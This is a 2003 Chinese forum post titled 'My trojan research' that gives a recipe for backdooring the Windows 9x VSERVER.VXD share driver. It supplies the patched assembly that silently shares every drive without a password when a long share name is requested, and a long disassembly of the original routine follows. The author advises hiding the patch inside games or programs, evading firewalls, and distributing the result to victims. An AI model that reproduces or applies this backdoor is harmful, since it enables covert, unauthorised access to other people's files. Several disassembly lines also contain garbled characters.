温柔网

 找回密码
 注册

查看: 733|回复: 0

我的木马研究

[复制链接]
发表于 2003-10-14 01:45:06 | 显示全部楼层 |阅读模式
网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,
这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网
络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内
核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。


    下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的
木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,
就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程
序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有
(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针
为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230
就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出
错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排                 CALL SUB_0230
NEW_LOC_0418     POP eax
                 jmp 03469
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418  就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。
下面是LOC_0415的改法:

LOC_0415:

03415      XOR EAX,EAX  ;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。
03417      PUSH EAX     ;1 字节 调用SUB_0230 用的DWORD参数 0;
03418      XOR ECX,ECX ;2 字节  ECX=0;
0341A      DEC ECX      ;1 字节  得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少
0341B      mov        edi,ebx ;2 bytes
0341D      repne scasb        ;2 bytes   
0341F      SUB EDI,EBX ;2 bytes  get the share name long
03421      CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。
03424      ja        short loc_0419 ; 2 byte
03426      POP   EAX    ;1 byte 堆栈平衡
03427      PUSH  EDI    ;1 byte
03428      POP   EAX    ;1 byte  EAX=EDI SHARE NAME LONG , 后面要用

刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。

   中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。




                                ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
                                ;                              SUBROUTINE
                                ;
                                ;         Called from:   031FD,        32CC
                                ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

    033F4                        sub_0026        proc        near
    033F4  56                                        push        esi
    033F5  66| 81 3B 5C5C                        cmp        word ptr [ebx],5C5Ch
    033FA  74 07                                je        short loc_0412                ; Jump if equal
    033FC  66| 81 3B 2F2F                        cmp        word ptr [ebx],2F2Fh
    03401  75 12                                jne        short loc_0415                ; Jump if not equal
    03403                        loc_0412:                                        ;  xref 033FA
    03403  8D 73 02                                lea        esi,dword ptr [ebx+2]        ; Load effective addr
    03406                        loc_0413:                                        ;  xref 0340F
    03406  E8 00006961                                call        sub_0207                ; (09D6C)
    0340B  74 05                                jz        short loc_0414                ; Jump if zero
    0340D  3C 5C                                cmp        al,5Ch                        ; '\'
    0340F  75 F5                                jne        loc_0413                ; Jump if not equal
    03411  46                                        inc        esi
    03412                        loc_0414:                                        ;  xref 0340B
    03412  8D 5E FF                                lea        ebx,dword ptr [esi-1]        ; Load effective addr
    03415                        loc_0415:                                        ;  xref 03401
    03415  2A C0                                sub        al,al
    03417  B9 0000FFFF                                mov        ecx,0FFFFh
    0341C  8B FB                                mov        edi,ebx
    0341E  F2/ AE                                repne        scasb                        ; Rep zf=0+cx >0 Scan es:[di] for al
    03420  8B C7                                mov        eax,edi
    03422  2B C3                                sub        eax,ebx
    03424  83 F8 0D                                cmp        eax,0Dh
    03427  77 26                                ja        short loc_0419                ; Jump if above
    03429  55                                        push        ebp
    0342A  8B 2D 00011CA4                        mov        ebp,dword ptr data_0182  ;THE SHARE POINTER         ; (11CA4=0)
    03430                        loc_0416:                                        ;  xref 0344C
    03430 ?1 FD 00011CA4                        cmp        ebp,11CA4h
    03436  74 16                                je        short loc_0418                ; Jump if equal
    03438  80 7D 08 02                                cmp        byte ptr [ebp+ClientEBP],2
    0343C  75 0B                                jne        short loc_0417                ; Jump if not equal
    0343E  8D 75 11                                lea        esi,dword ptr [ebp+11h]        ; Load effective addr
    03441  8B FB                                mov        edi,ebx
    03443  8B C8                                mov        ecx,eax
    03445  F3/ A6                                repe        cmpsb                        ; Rep zf=1+cx >0 Cmp [si] to es:[di]
    03447  74 3A                                jz        short loc_0424                ; Jump if zero
    03449                        loc_0417:                                        ;  xref 0343C
    03449  8B 6D 00                                mov        ebp,dword ptr [ebp+ClientEDI]
    0344C  EB E2                                jmp        short loc_0416                ; (03430)
    0344E                        loc_0418:                                        ;  xref 03436
    0344E  5D                                        pop        ebp
    0344F                        loc_0419:                                        ;  xref 03427
    0344F  B8 00060002                                mov        eax,60002h
    03454  5E                                        pop        esi
    03455  F9                                        stc                                ; Set carry flag
    03456  C3                                        retn
    03457                        loc_0420:                                        ;  xref 0349F
    03457  8B 43 34                                mov        eax,dword ptr [ebx+34h]
    0345A  8B 1B                                mov        ebx,[ebx]
    0345C  81 FB 00011CA4                        cmp        ebx,11CA4h
    03462  74 0A                                je        short loc_0421                ; Jump if equal
    03464  3B 43 34                                cmp        eax,dword ptr [ebx+34h]
    03467  74 2F                                je        short loc_0425                ; Jump if equal
    03469  B8 00020002                                mov        eax,20002h
    0346E                        loc_0421:                                        ;  xref 03462, 3481, 354D, 35E8
    0346E ?E                                        pop        esi
    0346F  F9                                        stc                                ; Set carry flag
    03470  C3                                        retn
    03471  33 DB                                db         33h,0DBh
    03473                        loc_0422:                                        ;  xref 0349D
    03473  5E                                        pop        esi
    03474  C3                                        retn
    03475                        loc_0423:                                        ;  xref 034C1
    03475  8B D3                                mov        edx,ebx
    03477 鶥B 0000000A                                mov        ebx,0Ah                        ; (0000A=0B8h)
    0347C  B8 00590002                                mov        eax,590002h
    03481  EB EB                                jmp        short loc_0421                ; (0346E)
    03483                        loc_0424:                                        ;  xref 03447
    03483  8B DD                                mov        ebx,ebp
    03485  59                                        pop        ecx     ;ebp ,the password long
    03486  F6 05 00012446 01                        test        byte ptr data_0317,1        ; (12446=0)
    0348D  75 12                                jnz        short loc_0426                ; Jump if not zero
    0348F  8B 34 24                                mov        esi,[esp]
    03492  F6 46 1F 01                                test        byte ptr [esi+1Fh],1
    03496  75 09                                jnz        short loc_0426                ; Jump if not zero
    03498                        loc_0425:                                        ;  xref 03467
    03498  E8 00000182                        call        sub_0027                ; (0361F)  check the password
    0349D  72 D4                                jc        loc_0422                ; Jump if carry Set
    0349F  75 B6                                jnz        loc_0420                ; Jump if not zero
    034A1                        loc_0426:                                        ;  xref 0348D, 3496
    034A1  F6 43 10 40                        test        byte ptr [ebx+10h],40h        ; '@'
    034A5  0F 85 00000089                        jnz        loc_0433                ; Jump if not zero
    034AB  A1 00011CC4                        mov        eax,data_0190                ; (11CC4=0FFFFF000h)
    034B0  80 38 01                                cmp        byte ptr [eax],1
    034B3  0F 83 00000134                        jae        loc_0439                ; Jump if above or =
    034B9                        loc_0427:                                        ;  xref 0353B, 3564, 356F, 35F6
                                                                                ;            3611
    034B9  66| 8B 53 0E                        mov        dx,word ptr [ebx+0Eh]
    034BD  66| 39 53 0C                        cmp        word ptr [ebx+0Ch],dx
    034C1  76 B2                                jbe        loc_0423                ; Jump if below or =
    034C3                        loc_0428:                                        ;  xref 03528
    034C3  8B 0D 00011B34                        mov        ecx,dword ptr data_0170        ; (11B34=0)
    034C9  85 C9                                test        ecx,ecx
    034CB  74 56                                jz        short loc_0431                ; Jump if zero
    034CD  8B 01                                mov        eax,[ecx]
    034CF  A3 00011B34                                mov        data_0170,eax                ; (11B34=0)
    034D4  66| FF 43 0E                                inc        word ptr [ebx+0Eh]
    034D8  89 59 0C                                mov        dword ptr [ecx+0Ch],ebx
    034DB  C6 41 14 03                                mov        byte ptr [ecx+14h],3
    034DF  8A 41 17                                mov        al,byte ptr [ecx+17h]
    034E2  04 08                                add        al,8
    034E4  0C C0                                or        al,0C0h
    034E6  88 41 17                                mov        byte ptr [ecx+17h],al
    034E9  C6 41 15 00                                mov        byte ptr [ecx+15h],0
    034ED  8B 34 24                                mov        esi,[esp]
    034F0  F6 46 1F 08                                test        byte ptr [esi+1Fh],8
    034F4  75 08                                jnz        short loc_0429                ; Jump if not zero
    034F6  A1 00011CC8                                mov        eax,data_0191                ; (11CC8=0FFFFF000h)
    034FB  FF 40 10                                inc        dword ptr [eax+10h]
    034FE                        loc_0429:                                        ;  xref 034F4
    034FE  5E                                        pop        esi
    034FF  81 7B 11 494D4441                cmp        dword ptr [ebx+11h],494D4441h  ;ADMIN$ ?
    03506  75 0E                                jne        short loc_0430                ; Jump if not equal
    03508  66| 81 7B 15 244E                        cmp        word ptr [ebx+15h],244Eh
    0350E  75 06                                jne        short loc_0430                ; Jump if not equal
    03510  80 7B 17 00                                cmp        byte ptr [ebx+17h],0
    03514  74 61                                je        short loc_0435                ; Jump if equal
    03516                        loc_0430:                                        ;  xref 03506, 350E, 3584
    03516  B8 00011CD4                                mov        eax,11CD4h
    0351B  E8 000056BC                                call        sub_0130                ; (08BDC)
    03520  85 DB                                test        ebx,ebx
    03522  C3                                        retn
    03523                        loc_0431:                                        ;  xref 034CB
    03523  E8 00000190                                call        sub_0028                ; (036B8)
    03528  73 99                                jnc        loc_0428                ; Jump if carry=0
    0352A  EB 00                                jmp        short loc_0432                ; (0352C)
    0352C                        loc_0432:                                        ;  xref 0352A
    0352C  5F                                        pop        edi
    0352D  B8 00590002                                mov        eax,590002h
    03532  F9                                        stc                                ; Set carry flag
    03533  C3                                        retn
    03534                        loc_0433:                                        ;  xref 034A5
    03534  8B 34 24                                mov        esi,[esp]
    03537  F6 46 1F 01                                test        byte ptr [esi+1Fh],1
    0353B  0F 85 FFFFFF78                        jnz        loc_0427                ; Jump if not zero
    03541                        loc_0434:                                        ;  xref 03575, 358F
    03541 ?B D3                                mov        edx,ebx
    03543  BB 0000000B                                mov        ebx,0Bh
    03548  B8 00050001                                mov        eax,50001h
    0354D  E9 FFFFFF1C                                jmp        loc_0421                ; (0346E)
                                                                                ;* No entry point to code
    03552  8B 3C 24                                mov        edi,[esp]
    03555  53                                        push        ebx
    03556  8B 35 000128B8                        mov        esi,dword ptr data_0379        ; (128B8=0FFFFF000h)
    0355C  E8 FFFFE407                                call        sub_0009                ; (01968)
    03561  5B                                        pop        ebx
    03562  0B ED                                or        ebp,ebp                        ; Zero ?
    03564  0F 84 FFFFFF4F                        jz        loc_0427                ; Jump if zero
    0356A  3E: 83 7D 10 00                        cmp        dword ptr ds:[ebp+ClientEBX],0
    0356F  0F 85 FFFFFF44                        jne        loc_0427                ; Jump if not equal
    03575  EB CA                                jmp        short loc_0434                ; (03541)
    03577                        loc_0435:                                        ;  xref 03514
    03577  F6 05 00012446 01                        test        byte ptr data_0317,1        ; (12446=0)
    0357E  74 11                                jz        short loc_0436                ; Jump if zero
    03580  F6 46 1F 01                                test        byte ptr [esi+1Fh],1
    03584  75 90                                jnz        loc_0430                ; NOT ADMIN$ Jump if not zero
    03586  66| FF 4B 0E                                dec        word ptr [ebx+0Eh]
    0358A  C6 41 14 00                                mov        byte ptr [ecx+14h],0
    0358E  56                                        push        esi
    0358F  EB B0                                jmp        short loc_0434                ; (03541)
    03591                        loc_0436:                                        ;  xref 0357E
    03591  80 4E 1F 01                                or        byte ptr [esi+1Fh],1
    03595  C6 41 15 01                                mov        byte ptr [ecx+15h],1
    03599  8B FE                                mov        edi,esi

    0359B  8B 35 000128B8                        mov        esi,dword ptr data_0379        ; (128B8=0FFFFF000h)
    035A1  83 3D 000134E0 00                cmp        dword ptr data_0431,0        ; C$,D$  HAVE BEEN SHARED(134E0=0)
    035A8  75 14                                jne        short loc_0437                ; Jump if not equal
    035AA  52                                        push        edx
    035AB  51                                        push        ecx
    035AC  8D 4B 1E                                lea        ecx,dword ptr [ebx+1Eh];THE ADMIN$ PASSWORD
    035AF ?1                                        push        ecx                        ;  PARAMETER_1  if ecx=0 no password
    035B0  E8 0000856F                                call        sub_0230        ;MAKE C$,D$SHARE  (0BB24)
    035B5  59                                        pop        ecx
    035B6  59                                        pop        ecx
    035B7  5A                                        pop        edx
    035B8  FF 05 000134E0                        inc        dword ptr data_0431        ; (134E0=0)
    035BE                        loc_0437:                                        ;  xref 035A8
    035BE  53                                        push        ebx
    035BF  E8 FFFFE3A4                                call        sub_0009                ; (01968)
    035C4  72 13                                jc        short loc_0438                ; Jump if carry Set
    035C6  8B 3D 00011CCC                        mov        edi,dword ptr data_0192        ; (11CCC=0FFFFF000h)
    035CC  8B BF 000000E2                        mov        edi,dword ptr ds:[0E2h][edi]        ; (000E2=358B0000h)
    035D2  89 7B 04                                mov        dword ptr [ebx+4],edi
    035D5  5B                                        pop        ebx
    035D6  85 DB                                test        ebx,ebx
    035D8  C3                                        retn
    035D9                        loc_0438:                                        ;  xref 035C4
    035D9  5A                                        pop        edx
    035DA  C6 41 14 00                                mov        byte ptr [ecx+14h],0
    035DE  BB 0000000C                                mov        ebx,0Ch
    035E3  B8 00010002                                mov        eax,10002h
    035E8  E9 FFFFFE81                                jmp        loc_0421                ; (0346E)
    035ED                        loc_0439:                                        ;  xref 034B3
    035ED  75 28                                jnz        short loc_0440                ; Jump if not zero
    035EF  8B 34 24                                mov        esi,[esp]
    035F2  F6 46 1F 01                                test        byte ptr [esi+1Fh],1
    035F6  0F 85 FFFFFEBD                        jnz        loc_0427                ; Jump if not zero
    035FC  81 7B 11 494D4441                        cmp        dword ptr [ebx+11h],494D4441h
    03603  75 12                                jne        short loc_0440                ; Jump if not equal
    03605  66| 81 7B 15 244E                        cmp        word ptr [ebx+15h],244Eh
    0360B  75 0A                                jne        short loc_0440                ; Jump if not equal
    0360D  80 7B 17 00                                cmp        byte ptr [ebx+17h],0
    03611  0F 84 FFFFFEA2                        je        loc_0427                ; Jump if equal
    03617                        loc_0440:                                        ;  xref 035ED, 3603, 360B
    03617  B8 00510002                                mov        eax,510002h
    0361C  5F                                        pop        edi
    0361D  F9                                        stc                                ; Set carry flag
    0361E  C3                                        retn
                                sub_0026        end
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|温柔网 ( 浙ICP备13033583号-8 )

GMT+8, 2024-11-1 06:54 , Processed in 0.044604 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表